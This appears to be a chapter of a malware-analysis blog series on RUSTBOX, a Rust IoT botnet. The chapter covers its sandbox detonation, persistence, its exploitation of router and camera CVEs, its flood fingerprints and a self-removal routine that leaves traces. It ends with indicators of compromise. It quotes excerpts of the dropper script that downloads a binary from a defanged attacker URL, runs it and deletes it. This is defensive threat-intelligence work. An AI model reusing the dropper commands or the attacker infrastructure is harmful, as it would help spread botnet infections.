ES EN
Index

Superior · Chapter 37

Memory safe

The same server that was handing out Superior served another bot one day, written in Rust and with a motto on the door: "memory safe. system optimized." I put it in a sealed cage, made it believe its server was answering, and it told me everything. The most useful part isn't what it does when it's given commands, but what it does without them.

On 8 November, between two versions of Superior's installer, the same address served something else. The server introduced itself as Server: rustbox and the script was shorter:

the /s from 8 November · excerpts
T="rustbox"
P=linux
if [ -d /data/local/tmp ] || [ -f /system/build.prop ]; then P=android; fi
U="hxxp://77.239.124[.]167:8080/rbx/$P-$A"

# Detach the node and cut its stdio: an ADB shell must never wait on a
# downloaded binary that is still running.  The node re-execs from memfd
# before it daemonizes, so removing the on-disk copy is safe.
./"$N" "$T" >/dev/null 2>&1 </dev/null &
sleep 1
rm -f "$N"

It checks whether it's on Android or Linux and on which processor, downloads the matching binary, launches it with the label rustbox and deletes the copy from disk. And it explains all this in the same careful English as Superior's scripts, in this case with whoever launches it over ADB in mind.

This bot didn't reach the decoy. The eight binaries in /rbx/ were reported to URLhaus by someone else that same day, and from there I got them off MalwareBazaar; the script is the copy urlscan kept when it scanned it. What I did with them starts after that. The first thing it prints when it starts up is its motto:

the first line
rustbox: memory safe. system optimized.
SPECIMEN · /rbx/linux-x86_64

RUSTBOX the second bot of the Superior campaign

◈ LIVE · DO NOT RUN
sha256
e77b2c68…25898
Type
Rust, rustc 1.99.1 from 13 October 2026; static with musl on Linux, NDK on Android
Builds
eight: Linux and Android for arm7, aarch64, x86 and x86_64, from 0.6 to 1 MB
Where from
reported to URLhaus by a third party; collected from MalwareBazaar
Antivirus
"trojan.mirai", and "trojan.hajime/mirai" on other builds: the same generic bucket

01What you see without switching it on

It's a tidy Rust project: a workspace with two pieces, the bot and a shared library holding the cryptography, and inside the bot one module per task (the floods, the persistence, the reports, the self-propagation and the session with the server). It was compiled as root, with a compiler from 13 October: RUSTBOX is from mid-October or later. There are no user names, no personal paths, nothing that points to a person.

Unlike Superior, it doesn't hide its configuration: the server is in the clear, coolcams.duckdns.org,77.239.124.167, on TCP 29444. Set next to Superior, it looks alike in what it does to the machine and parts ways in almost everything else:

Superior and RUSTBOX
                    Superior                         RUSTBOX
language            C                                Rust
server              coolcams.duckdns.org             the same, plus the backup IP
fixed ADB port      12108                            12108
supervisor          /data/local/tmp/.srvc            /data/local/tmp/.srvc
start-up            re-executes from memory          likewise
disguise            kernel threads                   kworker/u8:2
watchdog            yes                              yes, plus a separate watcher
configuration       XOR-encrypted                    in the clear
reports             in the clear, to separate ports  inside the encrypted session
its server          authenticates it                 doesn't authenticate it
propagation         Telnet with 45 passwords         seven router and camera exploits
screen, apps,
file theft          yes                              no
commands            shell via its console (off)      no shell, no downloads, no theft

That last line matters: according to its static analysis, RUSTBOX has no command for a remote shell, for downloading or for arbitrary execution, nor for proxying, file theft or the screen. Its server can ask it for attacks, to stop them, changes to its internal control, to repair its persistence or to remove itself, and check that it's still alive. Nothing else.

And so does the server row. Superior carries its operator's public key inside, and its session requires the operator's private key. RUSTBOX doesn't: it doesn't check who it's talking to. Anyone who takes its server's place can talk to it. That's what allowed me to do it, and it's what would make it feasible to divert its connections to a sinkhole and leave the operator without them. How, exactly, I'm not telling.

The same operator, with high confidence: the same server and the same command port, the same ADB port, the same supervisor, the same English and the same address serving one bot or the other depending on the day. There's more: among the ports RUSTBOX refuses to touch is 29596, the one Superior looks for as superior-ui, and Superior's installer already marked its replies with RBX_. That RUSTBOX descends from Superior's code, on the other hand, I can't claim: the code is different, and the cryptography, although it uses the same pieces, is put together another way. It may be a rewrite with the same design or a different bot that the same operator also runs.

02In the cage

I put the Linux build for x86_64 into a cage made for this: a virtual machine with no network card, with a fake network inside that answers everything, and a monitor inside the kernel that sees every single thing the bot does, and is protected from it: when the bot tried to look at the monitor's data, the system refused. I launched it the way its script launches it, with the label rustbox, and left it for five minutes. Almost two million events, nine processes:

five minutes of RUSTBOX
start-up       prints its motto, copies itself to memory and re-runs from there
               as kworker/u8:2
persistence    an enabled systemd service, init.d, rc.local, cron.d,
               crontab with @reboot and root's crontab, profile.d, .profile,
               .bashrc, .zshrc and a desktop autostart entry
               everything launches /usr/local/bin/.rustbox boot, nearly all with the mark "# rustbox"
copies         /usr/local/bin/.rustbox, /root/.rustbox, /tmp/.rbx, /var/tmp/.rbx
               and /var/tmp/.rbx_<pid>
watchers       a separate process watching the main one via a heartbeat in /dev/shm;
               the bot itself also opens the system watchdog
ports          occupies twelve ports other bots use, so they can't open them
rivals         checks the processes one by one, tens of thousands of times
server         connects to 77.239.124.167:29444, introduces itself with a
               52-byte greeting that starts with RBX1, and waits
propagation    811,261 targets in five minutes, on ports 80, 8080, 37215 and 52869

Almost all of that it writes down in a record of its own, .rbx_ledger: the copies, the files it creates and the ones it edits. It probably uses it to repair its persistence if someone touches it; it certainly uses it, as we'll see, to uninstall itself.

The propagation isn't Telnet, as it is in Superior: these are web exploits against routers and cameras. Besides random addresses, it tries the local network: 192.168.0.1, 192.168.1.1 and 192.168.1.64, which is the factory IP of Hikvision cameras. Each exploit, if it works, makes the victim fetch a script from coolcams.duckdns[.]org/s?t= with a label naming the route it got in through. The same funnel as Superior, now by exploit.

According to its code, it also blocks attempts to reboot or shut down the machine; in the cage nobody tried, so that wasn't seen. Nor did I test that its persistence survives a reboot, something that with Superior was seen, on the TV.

The killer, which hunts 36 rival families, needs a correction from me. The monitor logged some 74,000 checks on other processes and I, at first, read them as attempts to debug them. They weren't: they're reads of process data (which executable is running, from where, whether its image has been deleted or whether it runs from memory). With that it scores each one and, if it decides it's a rival, kills it. On a clean machine, it killed nobody. The only thing it was refused was reading the monitor's own data.

With the server, nothing more happened. The fake network doesn't speak its protocol, so it spent almost four minutes without an answer. To see the rest, it had to be answered.

03Talking to it

Since RUSTBOX doesn't check who it's talking to, I wrote a fake command server and put it inside the same cage, where the fake network answered in place of its server. I'm not publishing that program: the same code would work for controlling real bots. And the script I gave it was harmless on purpose: check that it was alive, ask it to repair its persistence and ask it to stop. Not one attack command.

It worked first time. The bot completed the greeting, accepted my server as its own and started telling it everything: some 2,200 reports in one session. These are the ones that matter:

what it tells its server
[SYS]|arch=x86_64|cores=2|ram=…|uid=0|root=1|pid=…|killer=1|kills=0|floods=0|selfrep=…|host=…
[PERSIST]installed=15|exe=/usr/local/bin/.rustbox|uid=0
[WATCHDOG]hw: off dev=/dev/watchdog id=rustbox
[LOCKER]squat=23,2323,7547,9001,6667,7777,4444,31337,37215,52869,3333,1337   # each one, "held"
[SELFREP]vec=…|name=…|ip=…|state=win

The [SELFREP] one is the most useful, because it names each propagation route with a label, and in five of the seven the label carries the CVE number. Seven routes, eight CVEs:

the propagation arsenal
label             device                                    CVE
realtek_8361      routers with the Realtek SDK (UPnP)       CVE-2014-8361
gpon_10561        GPON ONT (Dasan)                          CVE-2018-10561 and CVE-2018-10562
hikvision_36260   Hikvision cameras and recorders           CVE-2021-36260
draytek_8515      DrayTek Vigor 2960, 3900 and 300B         CVE-2020-8515
tplink_1389       TP-Link Archer AX21                       CVE-2023-1389
netgear_6077      Netgear DGN1000                           CVE-2024-12847
huawei_hg532      Huawei HG532 (the Satori route)           CVE-2017-17215

They're all command injections in routers and cameras, and old ones. And there's a slip by the author: the label netgear_6077 points to a different vulnerability, in a different program and one that requires being authenticated, but what the code does is the DGN1000 setup.cgi flaw, which asks for nothing: CVE-2024-12847, disclosed in 2013 and numbered since 2024. I confirmed it three ways: its routine in the binary, the public databases and the request it sent inside the cage. I'm not publishing the exact requests.

A warning for anyone who sees its counter. Inside the cage it sent me more than 2,100 state=win in five minutes, because the fake network answers everything. Any honeypot or sandbox that answers it as if the exploit had worked inflates its tally (although it discards replies that mention cowrie, kippo, dionaea, glastopf, conpot, tarpit, canary, shadowserver, honeypot or sinkhole). Its wins aren't infections.

What I didn't ask it to do was attack. The attacks, according to its code, are four families (UDP floods, TCP connections, hand-crafted TCP packets and a TLS client) with variants: 9 identifiers in its Linux build for ARM64 and 27 in the Android one, which aren't 27 different techniques. One of the variants is an HTTP/2 flood that imitates Chrome 131 quite carefully, and that leaves a fingerprint: sec-ch-ua "Chromium";v="131", Accept-Encoding: gzip, deflate, br, zstd, upgrade-insecure-requests and the preamble PRI * HTTP/2.0. There's an HTTP/1.1 one too, there's no HTTP/3, and it launches at most eight attacks at once. One of the UDP generators uses a template that looks like SSDP; that it can be used for amplification hasn't been verified.

And there's a loose end. I sent it the command to repair its persistence over the encrypted session, but it didn't answer with the repair report it has in its code, and it touched nothing it hadn't touched already. Maybe in this build that command carries a different number, or it says nothing if the persistence is intact. I don't know.

04No master, all the same

The most useful part came from comparing the two detonations: the one with the silent network and the one with my fake server. They're almost identical. The same seven programs launched, roughly the same files opened, some 811,000 propagation connections in both, the same process checks.

In other words: the persistence, the copy in memory, the watchers, the killer, occupying the ports and all the propagation happen at start-up, without any command. What a live server adds is little: the bot telling it what it does, and attacking when asked to.

A practical consequence follows from this: blocking its server, or diverting it to a sinkhole, doesn't clean an infected machine. It takes away the operator's view and the on-demand attacks, which is no small thing. But the bot is still installed, still defending itself and still trying to infect other machines. To clean it, you have to touch the machine.

05Removed is not clean

RUSTBOX has a command to remove itself. Its routine can be read in the code and checked against its record and against what it left in the cage. It does this: stops its jobs, kills its watcher, walks through its .rbx_ledger, disables the systemd service, deletes the files it created and, in the ones it edited, removes its marked lines. When it's done, it reports:

what it tells its owner on its way out
[PERSIST]state=cleared
Screenshot: the self-removal, in GhidraGhidra
Two pieces of the Ghidra listing of RUSTBOX's retirada_limpia routine. At the top, the calls that read its record and disable rustbox.service. At the bottom, the deletion of the record itself with unlink and several jumps, the error-case one among them, that converge on the same label before loading the string state=cleared. Amber boxes mark the two calls, the error jump and the string.
Removed is not clean. The self-removal routine, in Ghidra: it reads its record, disables the service, deletes and removes its lines. And at the end it says state=cleared, even when it hasn't been able to delete its own record.

And, according to its code, that wouldn't be entirely true. Simulating its filter on the cage's files, this is what would be left:

what the self-removal would leave, file by file
/etc/crontab, /root/.bashrc, /root/.profile    restored just as they were
/etc/rc.local, /root/.zshrc                    empty: it created them itself, but recorded them as edited,
                                               and removing its lines leaves them blank
/var/tmp/.rbx_<pid>, the heartbeat, the lock   the routine doesn't touch them: they're not in the record
the cron spool                                 doesn't go back to how it was before

There are two more details. If it finds two marks in a row, it also takes the line that comes after the second one. And the state=cleared can come out even if it couldn't delete its own record: it means the routine reached the end, not that the machine has been left clean. A bot saying it's gone isn't the same as it being gone.

What was done, and what wasn'tRUSTBOX didn't reach the decoy: others collected it, and I took it from a public sample repository. It was detonated in a virtual machine with no network card; all its traffic went to a fake network inside it and was destroyed along with the machine. The fake server only gave it harmless commands: no attack, no self-removal. That program isn't published. The self-removal command wasn't pursued, and its real command server was never spoken to.
What I don't claimThat RUSTBOX comes from Superior's code. They share operator, server, ADB port, supervisor and style, but not the code, and the cryptography, with the same pieces, is put together another way. Nor do I know whether the operator is going to replace one bot with the other or keep both going: what can be seen in November is that they alternate the two.

06Indicators

Superior's are in chapters 35 and 36. These are RUSTBOX's.

TypeValue
Deliveryhxxp://77.239.124[.]167:8080/rbx/{linux,android}-{arm7,aarch64,x86,x86_64} · header Server: rustbox · script /s with T="rustbox" that saves the binary as .rbx.<platform>.<architecture> and deletes it after launching it
C2coolcams.duckdns.org and 77.239.124.167, TCP 29444 · 52 B greeting starting with RBX1
Propagation second stagehxxp://coolcams.duckdns[.]org/s?t=<route> · routes realtek_8361, gpon_10561, hikvision_36260, draytek_8515, tplink_1389, netgear_6077, huawei_hg532
Exploited CVEsCVE-2014-8361 · CVE-2017-17215 · CVE-2018-10561 · CVE-2018-10562 · CVE-2020-8515 · CVE-2021-36260 · CVE-2023-1389 · CVE-2024-12847
Linux persistencerustbox.service (Restart=always) · /etc/init.d/rustbox and 99rustbox · root's crontab · /etc/rc.local · /etc/cron.d/rustbox · /etc/crontab (@reboot) · /etc/profile.d/rustbox.sh · .profile, .bashrc, .zshrc · ~/.config/autostart/rustbox.desktop · mark # rustbox · everything launches /usr/local/bin/.rustbox boot
Android persistence (static)/system/etc/init/rustbox.rc · Magisk module /data/adb/modules/rustbox (author=rustbox) · /data/local/tmp/.srvc · ADB on TCP 12108
Copies and files/usr/local/bin/.rustbox, /root/.rustbox, /tmp/.rbx, /var/tmp/.rbx, /var/tmp/.rbx_<pid> (on Android also /data/local/tmp/.rbx, /data/adb/.rbx, /data/data/.rbx, /sdcard/.rbx) · .rbx_ledger, .rbx_lock, /dev/shm/.rbx_hb_<pid>, .rbx_wd.lock
Processeskworker/u8:2 from memory · a second process with --watchdog · opens /dev/watchdog
Occupied ports23, 2323, 7547, 9001, 6667, 7777, 4444, 31337, 37215, 52869, 3333, 1337
HTTP/2 floodsec-ch-ua "Chromium";v="131" · Accept-Encoding: gzip, deflate, br, zstd · upgrade-insecure-requests · preamble PRI * HTTP/2.0
Stringsrustbox: memory safe. system optimized. · report tags [SYS], [PERSIST], [WATCHDOG], [LOCKER], [SELFREP], [KILL], [REBOOT]|state=blocked, [BW], [CTL], [REPAIR] · variables RUSTBOX_NO*, RBX_TAG, RBX_MEMFD
SHA-256linux-x86_64 e77b2c6872dda6b1588160c640ee7906231d2acfe70a8dd5676f5ccff3825898 · linux-aarch64 28cd43f5dd1aaf575f067fa9eac5d999ddc26b35c5809d427a6cc137e4713555 · android-aarch64 a0ddfe358cad4c8083714756fc154141e1ec12015b59c512d232f82437a695c5 · /s 17e90ec85b3da3ef6bad84d0a04af7b648a385364c9a77ee1a3a2f58836a5322 · another build of .rbx.linux.x86_64 that VirusTotal saw on 7 Nov (not analysed) 88466d25ef2de742baad70b68f65e0d3d0f1741723a2ee44043f273b8591b8f2

On an infected machine, the fact that it has stopped talking to its server means nothing. What gives it away is on the machine itself: a kworker/u8:2 that doesn't belong to the kernel, twelve bot ports occupied by one and the same process and a .rbx_ledger keeping count of everything it touched.

To be continued - the decoy stays lit. If the operator decides which bot each box gets, the next one to knock on the door will tell which. 🍯

Comments